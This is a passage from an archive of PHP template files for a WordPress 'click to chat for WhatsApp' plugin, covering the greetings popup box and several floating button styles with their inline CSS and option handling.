        if ( 'greetings-1' == $ht_ctc_greetings['greetings_template'] || 'greetings-2' == $ht_ctc_greetings['greetings_template'] ) {
        } else {
            $box_layout_bg_color = 'background-color: #ffffff;';
        }


        /**
         * 
         * for inside close button - to the close button, ctc_greetings_close_btn added background-color: unset !important; border-radius:50%; for backword compatibility i.e. user changed by adding css.. 
         */
        if ( is_file( $ht_ctc_greetings['path'] ) ) {

            $template = $ht_ctc_greetings['greetings_template'];
            $g_box_classes .= " template-$template";

            // styles specific to rtl pages.. 
            if ('yes' == $rtl_page) {
                ?>
                <style id="ht_ctc_rtl">.g_header_badge_online {left: 0;right: unset;}</style>
                <?php
            }
            ?>
            
            <div style="position: relative; bottom: 18px; cursor: auto;" class="ht_ctc_greetings <?= $ctc_m_full_width ?>">

                <div class="ht_ctc_chat_greetings_box <?= $g_box_classes ?>" style="display: none; position: absolute; bottom: 0px; <?= $g_position_r_l ?>: 0px; min-width: <?= $min_width ?>; max-width: 420px; ">

                    <div class="ht_ctc_chat_greetings_box_layout" style="max-height: 84vh; overflow-y:auto; <?= $box_layout_bg_color ?> box-shadow: <?= $box_shadow ?>; border-radius:8px;clear:both;">

                        <span style="<?= $g_close_button_styles ?>" class="ctc_greetings_close_btn">
                            <svg style="color:lightgray; background-color: unset !important; border-radius:50%;" xmlns="http://www.w3.org/2000/svg" width="18" height="18" fill="currentColor" class="bi bi-x" viewBox="0 0 16 16">
                                <path d="M4.646 4.646a.5.5 0 0 1 .708 0L8 7.293l2.646-2.647a.5.5 0 0 1 .708.708L8.707 8l2.647 2.646a.5.5 0 0 1-.708.708L8 8.707l-2.646 2.647a.5.5 0 0 1-.708-.708L7.293 8 4.646 5.354a.5.5 0 0 1 0-.708z"/>
                            </svg>
                        </span>

                        <div class="ctc_greetings_template">
                            <?php include $ht_ctc_greetings['path']; ?>
                        </div>
                    </div>
                </div>
            </div>
            <?php
        }

    }


}


new HT_CTC_Chat_Greetings();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/greetings/greetings-1.php000064400000016661147510273110020001 0ustar00<?php
/**
 * Greetings - template - 1
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$g1_options = get_option( 'ht_ctc_greetings_1' );
$g1_options = apply_filters( 'ht_ctc_fh_g1_options', $g1_options );
$greetings = get_option('ht_ctc_greetings_options');
$greetings_settings = get_option('ht_ctc_greetings_settings');


// $ht_ctc_greetings['main_content'] = apply_filters( 'the_content', $ht_ctc_greetings['main_content'] );
$ht_ctc_greetings['main_content'] = do_shortcode( $ht_ctc_greetings['main_content'] );

// css
$header_css = 'padding: 12px 25px 12px 25px;';

$main_css = '';

$message_box_css = 'margin: 8px 5px;';
$send_css = 'text-align:center; padding: 11px 25px 9px 25px; cursor:pointer;background-color:#ffffff;';
$bottom_css = 'padding: 2px 25px 2px 25px; text-align:center; font-size:12px;background-color:#ffffff;';

$header_bg_color = ( isset($g1_options['header_bg_color']) ) ? esc_attr( $g1_options['header_bg_color'] ) : '';
if ('' == $header_bg_color) {
    $header_bg_color = '#ffffff';
}
$main_bg_color = ( isset($g1_options['main_bg_color']) ) ? esc_attr( $g1_options['main_bg_color'] ) : '';
if ('' == $main_bg_color) {
    $main_bg_color = '#ffffff';
}
$message_box_bg_color = ( isset($g1_options['message_box_bg_color']) ) ? esc_attr( $g1_options['message_box_bg_color'] ) : '';
$main_bg_image = ( isset($g1_options['main_bg_image']) ) ? 'yes' : '';

$header_css .= "background-color:$header_bg_color;";
$main_css .= "background-color:$main_bg_color;";

$rtl_page = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_page = "yes";
}

/**
 * @since 3.28
 */
$g_size = ( isset($greetings_settings['g_size']) ) ? esc_attr( $greetings_settings['g_size'] ) : 's';

$main_padding_bottom = ('yes' == $main_bg_image) ? '72px' : '40px';

$message_box_minus_width = '20px';

if ('s' == $g_size) {
    $message_box_minus_width = '15px';
} else if ( 'm' == $g_size ) {
    $main_padding_bottom = '98px';
    $message_box_minus_width = '30px';
} else if ( 'l' == $g_size ) {
    $main_padding_bottom = '108px';
    $message_box_minus_width = '40px';
}

$main_css .= ('yes' == $rtl_page) ? "padding: 18px 18px $main_padding_bottom 24px;" : "padding: 18px 24px $main_padding_bottom 18px;" ;

$g_header_image_css = "border-radius:50%;height:50px; width:50px;";
if ('yes' == $rtl_page) {
    $g_header_image_css .= "margin-left:9px;";
} else {
    $g_header_image_css .= "margin-right:9px;";
}

if ('' !== $message_box_bg_color) {
    $message_box_css .= "padding:6px 8px 8px 9px;background-color:$message_box_bg_color;";
}

// call to action - style
$cta_style = ( isset($g1_options['cta_style']) ) ? esc_attr( $g1_options['cta_style'] ) : '7_1';
$g_cta_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/greetings/greetings_styles/g-cta-' . $cta_style. '.php';
$g_optin_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/greetings/greetings_styles/opt-in.php';

$g_header_image = ( isset($greetings['g_header_image']) ) ? esc_attr( $greetings['g_header_image'] ) : '';

if ('' !== $g_header_image) {
    $header_css .= "line-height:1.1;";
} else {
    $header_css .= "line-height:1.3;";
}

?>
<style>
<?php
if ('yes' == $main_bg_image) {
$bg_path = plugins_url( './new/inc/assets/img/wa_bg.png', HT_CTC_PLUGIN_FILE );
?>
.ctc_g_content_for_bg_image:before {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: url('<?= $bg_path ?>');
    opacity: 0.07;
}
<?php
}
if ('' !== $message_box_bg_color) {
?>
.ctc_g_message_box {
    position: relative;
    box-shadow: 0 1px 0.5px 0 rgba(0,0,0,.14);
    max-width: calc(100% - <?= $message_box_minus_width ?>);
}
.ctc_g_message_box:before {
  content: "";
  position: absolute;
  top: 0px;
  height: 18px;
  width: 9px;
  background-color: <?= $message_box_bg_color ?>;
}
<?php
if ('yes' == $rtl_page) {
?>
.ctc_g_message_box {
    border-radius: 7px 0px 7px 7px;
}
.ctc_g_message_box:before {
  left: 100%;
  clip-path: polygon(0% 0%, 0% 50%, 100% 0%);
    -webkit-clip-path: polygon(0% 0%, 0% 50%, 100% 0%);
}
<?php
} else {
?>
.ctc_g_message_box {
    border-radius: 0px 7px 7px 7px;
}
.ctc_g_message_box:before {
  right: 99.7%;
  clip-path: polygon(0% 0%, 100% 0%, 100% 50%);
    -webkit-clip-path: polygon(0% 0%, 100% 0%, 100% 50%);
}
<?php
}
}
?>
</style>
<?php

if ( '' !== $ht_ctc_greetings['header_content'] ) {
    if ('' !== $g_header_image) {
        // if header image is added
        ?>
        <div class="ctc_g_heading" style="<?= $header_css ?>">
            <div style="display: flex; align-items: center;">

                <div class="greetings_header_image" style="<?= $g_header_image_css ?>">
                    <img style="display:inline-block; border-radius:50%; height:50px; width:50px;" src="<?= $g_header_image ?>" alt="">
                    <?php
                    if ( isset($greetings['g_header_online_status']) ) {
                        $g_header_online_status_color = ( isset($greetings['g_header_online_status_color']) ) ? esc_attr( $greetings['g_header_online_status_color'] ) : '';
                        if ('' == $g_header_online_status_color) {
                            $g_header_online_status_color = '#06e376';
                        }
                        ?>
                        <span class="for_greetings_header_image_badge" style="display:none; border: 2px solid <?= $header_bg_color ?>; background-color: <?= $g_header_online_status_color ?>;"></span>
                        <?php
                    }
                    ?>
                </div>
                <div>
                    <?= wpautop($ht_ctc_greetings['header_content']) ?>
                </div>
            </div>
        </div>
        <?php
    } else {
        // if header image is not added
        ?>
        <div class="ctc_g_heading" style="<?= $header_css ?>">
            <?= wpautop($ht_ctc_greetings['header_content']) ?>
        </div>
        <?php
    }
}
?>

<?php
// if main content is available
if ('' !== $ht_ctc_greetings['main_content']) {
    if ('yes' == $main_bg_image) {
        // if bg image is added
        ?>
        <div class="ctc_g_content" style="<?= $main_css ?> position:relative;">
            <div class="ctc_g_content_for_bg_image">
                <div class="ctc_g_message_box ctc_g_message_box_width" style="<?= $message_box_css ?>"><?= wpautop( $ht_ctc_greetings['main_content'] ) ?></div>
            </div>
        </div>
        <?php
    } else {
        // if bg image is not added
        ?>
        <div class="ctc_g_content" style="<?= $main_css ?>">
            <div class="ctc_g_message_box ctc_g_message_box_width" style="<?= $message_box_css ?>"><?= wpautop( $ht_ctc_greetings['main_content'] ) ?></div>
        </div>
        <?php
    }
} 
?>

<div class="ctc_g_sentbutton" style="<?= $send_css ?>">
    <?php
    if ( isset($ht_ctc_greetings['is_opt_in']) && '' !== $ht_ctc_greetings['is_opt_in'] && is_file( $g_optin_path ) ) {
        include $g_optin_path;
    }
    ?>
    <div class="ht_ctc_chat_greetings_box_link ctc-analytics">
    <?php
    if ( is_file( $g_cta_path ) ) {
        include $g_cta_path;
    }
    ?>
    </div>
</div>

<?php
if ( '' !== $ht_ctc_greetings['bottom_content'] ) {
?>
<div class="ctc_g_bottom" style="<?= $bottom_css ?>">
    <?= wpautop( $ht_ctc_greetings['bottom_content'] ) ?>
</div>
<?php
}click-to-chat-for-whatsapp/new/inc/styles/style-7.php000064400000007333147510273110016510 0ustar00<?php
/**
 * Style - 7
 * icon with customize padding
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$s7_options = get_option( 'ht_ctc_s7' );
$s7_options = apply_filters( 'ht_ctc_fh_s7_options', $s7_options );

$s7_icon_size = isset( $s7_options['s7_icon_size'] ) ? esc_attr( $s7_options['s7_icon_size'] ) : '20px';
$s7_icon_color = isset( $s7_options['s7_icon_color'] ) ? esc_attr( $s7_options['s7_icon_color'] ) : '#ffffff';
$s7_icon_color_hover = isset( $s7_options['s7_icon_color_hover'] ) ? esc_attr( $s7_options['s7_icon_color_hover'] ) : '#f4f4f4';
$s7_border_size = isset( $s7_options['s7_border_size'] ) ? esc_attr( $s7_options['s7_border_size'] ) : '12px';
$s7_border_color = isset( $s7_options['s7_border_color'] ) ? esc_attr( $s7_options['s7_border_color'] ) : '#25D366';
$s7_border_color_hover = isset( $s7_options['s7_border_color_hover'] ) ? esc_attr( $s7_options['s7_border_color_hover'] ) : '#25d366';
$s7_border_radius = isset( $s7_options['s7_border_radius'] ) ? esc_attr( $s7_options['s7_border_radius'] ) : '50%';


// Call to action 
$s7_cta_type = ( isset( $s7_options['cta_type']) ) ? esc_attr( $s7_options['cta_type'] ) : 'hover';
$s7_cta_textcolor = ( isset( $s7_options['cta_textcolor'] ) ) ? esc_attr( $s7_options['cta_textcolor'] ) : '';
$s7_cta_bgcolor = ( isset( $s7_options['cta_bgcolor'] ) ) ? esc_attr( $s7_options['cta_bgcolor'] ) : '#ffffff';

$s7_cta_font_size = ( isset( $s7_options['cta_font_size'] ) ) ? esc_attr( $s7_options['cta_font_size'] ) : '';

$s7_cta_font_size = ( '' !== $s7_cta_font_size ) ? "font-size: $s7_cta_font_size;" : "";

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s7_n1_styles = "display:flex;justify-content:center;align-items:center;$rtl_css ";
$s7_icon_css = "font-size: $s7_icon_size; color: $s7_icon_color; padding: $s7_border_size; background-color: $s7_border_color; border-radius: $s7_border_radius;";

// Call to action - order
$s7_cta_order = "1";
if ( isset( $side_2 ) && 'right' == $side_2 ) {
    // if side_2 is right then cta is left
    $s7_cta_order = "0";
}


$s7_cta_css = "padding: 0px 16px; $s7_cta_font_size color: $s7_cta_textcolor; background-color: $s7_cta_bgcolor; border-radius:10px; margin:0 10px; ";
$s7_cta_class = "ht-ctc-cta ";
$title = "";
if ( 'hover' == $s7_cta_type ) {
    $s7_cta_css .= " display: none; order: $s7_cta_order; ";
    $s7_cta_class .= " ht-ctc-cta-hover ";
} elseif ( 'show' == $s7_cta_type ) {
    $s7_cta_css .= "order: $s7_cta_order; ";
} elseif ( 'hide' == $s7_cta_type ) {
    $s7_cta_css .= " display: none; ";
    $title = "title = '$call_to_action'";
}

// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);

// hover
$s7_hover_icon_styles = ".ht-ctc .ctc_s_7:hover .ctc_s_7_icon_padding, .ht-ctc .ctc_s_7:hover .ctc_cta_stick{background-color:$s7_border_color_hover !important;}.ht-ctc .ctc_s_7:hover svg g path{fill:$s7_icon_color_hover !important;}";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<style id="ht-ctc-s7">
<?= $s7_hover_icon_styles ?>
</style>

<div <?= $title ?> class="ctc_s_7 ctc-analytics ctc_nb" style="<?= $s7_n1_styles; ?>" data-nb_top="-7.8px" data-nb_right="-7.8px">
    <p class="ctc_s_7_cta ctc_cta ctc_cta_stick ctc-analytics <?= $s7_cta_class ?>" style="<?= $s7_cta_css ?>"><?= $call_to_action; ?></p>
    <div class="ctc_s_7_icon_padding ctc-analytics " style="<?= $s7_icon_css ?>">
        <?= ht_ctc_singlecolor( $s7_svg_attrs ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-7_1.php000064400000013233147510273110016724 0ustar00<?php
/**
 * Style - 7
 * icon with customize padding
 * 
 * @since 3.30 $is_ctc_admin to works perfectly with hover, show effects at admin demo styles added/not-added some code at admin side.
 */
if ( ! defined( 'ABSPATH' ) ) exit;

// shadow
// 0px 0px 11px rgba(0,0,0,.5)  /   5px 5px 11px #888888
// $s7_bs = "box-shadow: 5px 5px 11px rgba(0,0,0,.5);";
// $s7_bs = "box-shadow: 2px 2px 6px rgba(0,0,0,.5);";
// $s7_box_shadow = "";
// if ( !isset( $s7_options['s3_box_shadow'])) {
//     $s7_box_shadow = "$s7_bs ";
// }
// $s7_box_shadow_hover = "";
// if ( isset( $s7_options['s7_box_shadow_hover'])) {
//     $s7_box_shadow_hover = "$s7_bs ";
// }

$s7_1_options = get_option( 'ht_ctc_s7_1' );
$s7_1_options = apply_filters( 'ht_ctc_fh_s7_1_options', $s7_1_options );

$is_ctc_admin = '';

if ( is_admin() ) {
  if ( isset( $_GET ) && isset( $_GET['page'] ) && ( 'click-to-chat' == $_GET['page'] || 'click-to-chat-other-settings' == $_GET['page'] || 'click-to-chat-customize-styles' == $_GET['page'] ) ) {
    $is_ctc_admin = 'yes';
  }
}

$s7_icon_size = isset( $s7_1_options['s7_icon_size'] ) ? esc_attr( $s7_1_options['s7_icon_size'] ) : '20px';
$s7_icon_color = isset( $s7_1_options['s7_icon_color'] ) ? esc_attr( $s7_1_options['s7_icon_color'] ) : '#ffffff';
$s7_icon_color_hover = isset( $s7_1_options['s7_icon_color_hover'] ) ? esc_attr( $s7_1_options['s7_icon_color_hover'] ) : '#f4f4f4';
$s7_bgcolor = isset( $s7_1_options['s7_bgcolor'] ) ? esc_attr( $s7_1_options['s7_bgcolor'] ) : '#25D366';
$s7_bgcolor_hover = isset( $s7_1_options['s7_bgcolor_hover'] ) ? esc_attr( $s7_1_options['s7_bgcolor_hover'] ) : '#00d34d';
$s7_border_size = isset( $s7_1_options['s7_border_size'] ) ? esc_attr( $s7_1_options['s7_border_size'] ) : '12px';

// Call to action
$s7_cta_type = isset( $s7_1_options['cta_type'] ) ? esc_attr( $s7_1_options['cta_type'] ) : 'hover';
$s7_1_cta_font_size = isset( $s7_1_options['cta_font_size'] ) ? esc_attr( $s7_1_options['cta_font_size'] ) : '';
$s7_1_cta_font_size = ( '' !== $s7_1_cta_font_size ) ? "font-size: $s7_1_cta_font_size; " : ''; 


// Call to action - Order
$s7_cta_order = "1";
$s7_hover_cta_padding_css = "padding: 0px 21px 0px 0px;";
$s7_show_cta_padding_css = '';

/**
 * to work perfect at admin site:
 * 
 * if not admin page $is_ctc_admin !== yes
 * if ctc_admin page: 
 *  no padding on $s7_show_cta_padding_css
 */
if ( 'yes' !== $is_ctc_admin ) {
    $s7_show_cta_padding_css = "padding:5px 5px 5px 20px;";
}


if ( isset( $side_2 ) && 'right' == $side_2 ) {
    // if side_2 is right then cta is left
    $s7_cta_order = "0";
    $s7_hover_cta_padding_css = "padding: 0px 0px 0px 21px;";
    if ( 'yes' !== $is_ctc_admin ) {
        $s7_show_cta_padding_css = "padding:5px 20px 5px 5px;";
    }
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";

    // add only if not admin page.
    if ( 'yes' !== $is_ctc_admin ) {
        if ( isset( $side_2 ) && 'right' == $side_2 ) {
            $s7_show_cta_padding_css = "padding:5px 5px 5px 20px;";
        } else {
            $s7_show_cta_padding_css = "padding:5px 20px 5px 5px;";
        }
    }
    
}

$s7_n1_styles = "display:flex;justify-content:center;align-items:center;$rtl_css ";
$s7_cta_css = "$s7_1_cta_font_size";
$s7_icon_padding_css = "";
$s7_cta_class = "ht-ctc-cta ";
$s7_hover_styles = "";
if ( 'hover' == $s7_cta_type ) {
    $s7_n1_styles .= "background-color: $s7_bgcolor; border-radius:25px;";
    $s7_cta_css .= " display: none; order: $s7_cta_order; color: $s7_icon_color; $s7_hover_cta_padding_css  margin:0 10px; border-radius: 25px; ";
    $s7_cta_class .= " ht-ctc-cta-hover ctc_cta_stick ";
    $s7_icon_padding_css .= "padding: $s7_border_size;background-color: $s7_bgcolor;border-radius: 25px; ";
    $s7_hover_styles = ".ht-ctc .ctc_s_7_1:hover .ctc_s_7_icon_padding, .ht-ctc .ctc_s_7_1:hover{background-color:$s7_bgcolor_hover !important;border-radius: 25px;}.ht-ctc .ctc_s_7_1:hover .ctc_s_7_1_cta{color:$s7_icon_color_hover !important;}.ht-ctc .ctc_s_7_1:hover svg g path{fill:$s7_icon_color_hover !important;}";
} elseif ( 'show' == $s7_cta_type ) {
    $s7_n1_styles .= "$s7_show_cta_padding_css background-color:$s7_bgcolor;border-radius:25px;";
    $s7_cta_css .= "color: $s7_icon_color; border-radius:10px; margin:0 10px; order: $s7_cta_order; ";

    if ( 'yes' == $is_ctc_admin ) {
        $s7_icon_padding_css .= "padding: 12px; border-radius:25px;";
        $s7_cta_css .= "$s7_hover_cta_padding_css";
    } else {
        $s7_cta_css .= "padding: 1px 16px;";
    }

    $s7_hover_styles = ".ht-ctc .ctc_s_7_1:hover{background-color:$s7_bgcolor_hover !important;}.ht-ctc .ctc_s_7_1:hover .ctc_s_7_1_cta{color:$s7_icon_color_hover !important;}.ht-ctc .ctc_s_7_1:hover svg g path{fill:$s7_icon_color_hover !important;}";
}


// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);


include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<style id="ht-ctc-s7_1">
<?= $s7_hover_styles ?>
</style>

<div class="ctc_s_7_1 ctc-analytics ctc_nb" style="<?= $s7_n1_styles; ?>" data-nb_top="-7.8px" data-nb_right="-7.8px">
    <p class="ctc_s_7_1_cta ctc-analytics ctc_cta <?= $s7_cta_class ?>" style="<?= $s7_cta_css ?>"><?= $call_to_action; ?></p>
    <div class="ctc_s_7_icon_padding ctc-analytics " style="<?= $s7_icon_padding_css ?>">
        <?= ht_ctc_singlecolor( $s7_svg_attrs ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-6.php000064400000002160147510273110016500 0ustar00<?php
/**
 * Style - 6
 * 
 * link
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s6_options = get_option( 'ht_ctc_s6' );
$s6_options = apply_filters( 'ht_ctc_fh_s6_options', $s6_options );

$s6_txt_color = isset( $s6_options['s6_txt_color']) ? esc_attr( $s6_options['s6_txt_color'] ) : '';
$s6_txt_color_on_hover = isset( $s6_options['s6_txt_color_on_hover'] ) ? esc_attr( $s6_options['s6_txt_color_on_hover'] ) : '';
$s6_txt_decoration = isset( $s6_options['s6_txt_decoration'] ) ? esc_attr( $s6_options['s6_txt_decoration'] ) : 'none';
$s6_txt_decoration_on_hover = isset( $s6_options['s6_txt_decoration_on_hover'] ) ? esc_attr( $s6_options['s6_txt_decoration_on_hover'] ) : 'underline';
?>

<a class="ctc-analytics ctc_s_6 ctc_cta" style="color: <?= $s6_txt_color ?>; text-decoration: <?= $s6_txt_decoration ?>;"
    onmouseover = "this.style.color = '<?= $s6_txt_color_on_hover ?>', this.style.textDecoration = '<?= $s6_txt_decoration_on_hover ?>' "
    onmouseout  = "this.style.color = '<?= $s6_txt_color ?>', this.style.textDecoration = '<?= $s6_txt_decoration ?>' "
    >
    <?= $call_to_action ?>
</a>click-to-chat-for-whatsapp/new/inc/styles/style-1.php000064400000004561147510273110016502 0ustar00<?php
/**
 * Style - 1
 * 
 * theme button
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s1_options = get_option( 'ht_ctc_s1' );
$s1_options = apply_filters( 'ht_ctc_fh_s1_options', $s1_options );

$s1_css = "";
$s1_css .= "cursor:pointer; display:flex; align-items:center; justify-content:center;";
$s1_text_color = (isset( $s1_options['s1_text_color'])) ? esc_attr( $s1_options['s1_text_color'] ) : '';
$s1_css .= ('' !== $s1_text_color) ? "color:$s1_text_color;": "";
$s1_bg_color = (isset( $s1_options['s1_bg_color'])) ? esc_attr( $s1_options['s1_bg_color'] ) : '';
$s1_css .= ('' !== $s1_bg_color) ? "background-color:$s1_bg_color;": "";

$s1_add_icon = ( isset( $s1_options['s1_add_icon']) ) ? esc_attr( $s1_options['s1_add_icon'] ) : '';
$s1_icon_color = ( isset( $s1_options['s1_icon_color']) ) ? esc_attr( $s1_options['s1_icon_color'] ) : '';
$s1_icon_size = ( isset( $s1_options['s1_icon_size']) ) ? esc_attr( $s1_options['s1_icon_size'] ) : '';

if ('' == $s1_icon_size) {
  $s1_icon_size = '15';
}

if ('' == $s1_icon_color) {
  $s1_icon_color = '#ffffff';
}

if (is_admin()) {
  $s1_css .= "padding:5px 7px;";
}

$s1_style = ('' !== $s1_css) ? "style='$s1_css'": "";

$s1_fullwidth_css = "";

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}

if ( isset( $s1_options['s1_m_fullwidth'] ) ) {
  $s1_fullwidth_css = "@media(max-width:1201px){.ht-ctc.style-1{left:unset !important;right:0px !important;}.ht-ctc.style-1,.ht-ctc .s1_btn{width:100%;}}";

?>
<style id="ht-ctc-s1"><?= $s1_fullwidth_css ?></style>
<?php
}

?>
<button <?= $s1_style; ?> class="ctc-analytics s1_btn ctc_s_1">
<?php
if ('' !== $s1_add_icon) {
  
  $s1_svg_css = "margin-right:6px;";

  $s1_svg_attrs = array(
      'color' => "$s1_icon_color",
      'icon_size' => "$s1_icon_size",
      'type' => "$type",
      'ht_ctc_svg_css' => "$s1_svg_css",
  );
  include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
  echo ht_ctc_singlecolor( $s1_svg_attrs );
}
?>
<span class="ctc_cta"><?= $call_to_action ?></span>
</button>
<?php
// admin - add for admin demo
if ( is_admin() ) {
  if (isset($_GET) && isset($_GET['page']) && ('click-to-chat' == $_GET['page'] || 'click-to-chat-customize-styles' == $_GET['page'])) {
    ?>
    <p class="description s1_admin_demo_note">Front-End: Theme Button</p>
    <?php
  }
}click-to-chat-for-whatsapp/new/inc/styles/style-8.php000064400000010141147510273110016500 0ustar00<?php
/**
 * Style - 8
 * 
 * Button with icon
 * 
 * @uses
 *  1. floating button
 *  2. shop page loop
 * 
 *  woo-single-styles/woo-style-8 .php .. specific to the single product pages.
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s8_options = get_option( 'ht_ctc_s8' );
$s8_options = apply_filters( 'ht_ctc_fh_s8_options', $s8_options );

$s8_icon_color = isset( $s8_options['s8_icon_color'] ) ? esc_attr( $s8_options['s8_icon_color'] ) : '#ffffff';
$s8_icon_color_on_hover = isset( $s8_options['s8_icon_color_on_hover'] ) ? esc_attr( $s8_options['s8_icon_color_on_hover'] ) : '#ffffff';
$s8_txt_color = isset( $s8_options['s8_txt_color'] ) ? esc_attr( $s8_options['s8_txt_color'] ) : '#ffffff';
$s8_txt_color_on_hover = isset( $s8_options['s8_txt_color_on_hover'] ) ? esc_attr( $s8_options['s8_txt_color_on_hover'] ) : '#ffffff';
$s8_bg_color = isset( $s8_options['s8_bg_color']) ? esc_attr( $s8_options['s8_bg_color'] ) : '#26a69a';
$s8_bg_color_on_hover = isset( $s8_options['s8_bg_color_on_hover'] ) ? esc_attr( $s8_options['s8_bg_color_on_hover'] ) : '#26a69a';

$s8_icon_position = isset( $s8_options['s8_icon_position'] ) ? esc_attr( $s8_options['s8_icon_position'] ) : 'left';
$s8_btn_size = isset( $s8_options['s8_btn_size'] ) ? esc_attr( $s8_options['s8_btn_size'] ) : 'btn';

$s8_icon_size = isset( $s8_options['s8_icon_size'] ) && '' !== $s8_options['s8_icon_size'] ? esc_attr( $s8_options['s8_icon_size'] ) : '16px';

$s8_text_size = isset( $s8_options['s8_text_size'] ) ? esc_attr( $s8_options['s8_text_size'] ) : '16px';
$s8_text_size_css = ( '' == $s8_text_size ) ? "" : "font-size: $s8_text_size;";

// $s8_text_size_css = ('' == $s8_text_size) ? "font-size: 16px;" : "font-size: $s8_text_size;";

$s8_height = '36px';
if ( 'btn-large' == $s8_btn_size ) {
  $s8_height = '54px';
}

$s8_svg_attrs = array (
  'color' => "$s8_icon_color",
  'icon_size' => "$s8_icon_size",
  'type' => "$type",
  'ht_ctc_svg_css' => 'display:block;',
);

$s8_fullwidth_css = "";
if ( isset( $s8_options['s8_m_fullwidth'] ) ) {
  $s8_fullwidth_css = "@media(max-width:1201px){.ht-ctc.style-8{left:unset !important;right:0px !important;}.ht-ctc.style-8,.ht-ctc-style-8,.ht-ctc-style-8 .s_8{width: 100%;}}";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s8_icon_css = ( 'right' == $s8_icon_position ) ? "order:1;margin-left: 15px;" : "order:0;margin-right: 15px;";

$s8_text_css = "height: 100%; color:$s8_txt_color; $s8_text_size_css ";

$s8_main_span_css = "display: flex; $rtl_css padding: 0 2rem;letter-spacing: .5px;transition: .2s ease-out;text-align:center; justify-content: center;align-items: center;border-radius:2px;height:$s8_height;line-height:$s8_height;vertical-align:middle;box-shadow:0 2px 2px 0 rgba(0,0,0,.14), 0 1px 5px 0 rgba(0,0,0,.12), 0 3px 1px -2px rgba(0,0,0,.2);box-sizing:inherit;background-color:$s8_bg_color; overflow:hidden;";

// if ( isset( $calling_from ) && 'woo_page' == $calling_from ) {
//   // if its from woo pages..
// } else {}

?>

<style id="ht-ctc-s8">
.ht-ctc-style-8 .s_8 .s_8_icon{<?= $s8_icon_css ?>;}.ht-ctc .ht-ctc-style-8:hover .s_8 svg g path{fill:<?= $s8_icon_color_on_hover ?> !important;}.ht-ctc .ht-ctc-style-8:hover .s_8 .ht-ctc-s8-text{color:<?= $s8_txt_color_on_hover ?> !important;}.ht-ctc .ht-ctc-style-8:hover .s_8{box-shadow: 0 3px 3px 0 rgba(7,6,6,.14), 0 1px 7px 0 rgba(0,0,0,.12), 0 3px 1px -1px rgba(0,0,0,.2) !important; transition: .2s ease-out !important; background-color:<?= $s8_bg_color_on_hover ?> !important; }<?= $s8_fullwidth_css ?>
</style>

<div class = "ht-ctc-style-8 ctc_s_8 ctc-analytics" >
  <span class="s_8 ctc-analytics" style="<?= $s8_main_span_css ?>">
    <span class="s_8_icon">
      <?php 
      if ('hide' !== $s8_icon_position) {
        include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
        echo ht_ctc_singlecolor( $s8_svg_attrs ); 
      }
      ?>
    </span>
    <span class="ht-ctc-s8-text s8_span ctc-analytics ctc_cta" style="<?= $s8_text_css; ?>">
      <?= $call_to_action ?>
    </span>
  </span>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-99.php000064400000003733147510273110016603 0ustar00<?php
/**
 * Style - 99
 * own image / GIF
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$s_99_options = get_option( 'ht_ctc_s99' );
$s_99_options = apply_filters( 'ht_ctc_fh_s99_options', $s_99_options );

// Ensure options are set or use fallback values
$s_99_desktop_img_height = isset( $s_99_options['s99_desktop_img_height'] ) ? esc_attr( $s_99_options['s99_desktop_img_height'] ) : '50px';
$s_99_desktop_img_width = isset( $s_99_options['s99_desktop_img_width'] ) ? esc_attr( $s_99_options['s99_desktop_img_width'] ) : '50px';
$s_99_mobile_img_height = isset( $s_99_options['s99_mobile_img_height'] ) ? esc_attr( $s_99_options['s99_mobile_img_height'] ) : '40px';
$s_99_mobile_img_width = isset( $s_99_options['s99_mobile_img_width'] ) ? esc_attr( $s_99_options['s99_mobile_img_width'] ) : '40px';

// img - url, width, height based on device
$s_99_img_css = "";

if( isset( $is_mobile) && 'yes' == $is_mobile ) {
    $s_99_own_image = isset( $s_99_options['s99_mobile_img_url'] ) ? esc_html( $s_99_options['s99_mobile_img_url'] ) : '';
    $s_99_img_css .= ( '' !== $s_99_mobile_img_height ) ? "height: $s_99_mobile_img_height; " : "height: 40px; ";

    if ( '' !== $s_99_mobile_img_width ) {
        $s_99_img_css .= "width: $s_99_mobile_img_width; ";
    }
} else {
    $s_99_own_image = isset( $s_99_options['s99_dekstop_img_url'] ) ? esc_html($s_99_options['s99_dekstop_img_url'] ) : '';
    $s_99_img_css .= ( '' !== $s_99_desktop_img_height ) ? "height: $s_99_desktop_img_height; " : "height: 50px; ";
    
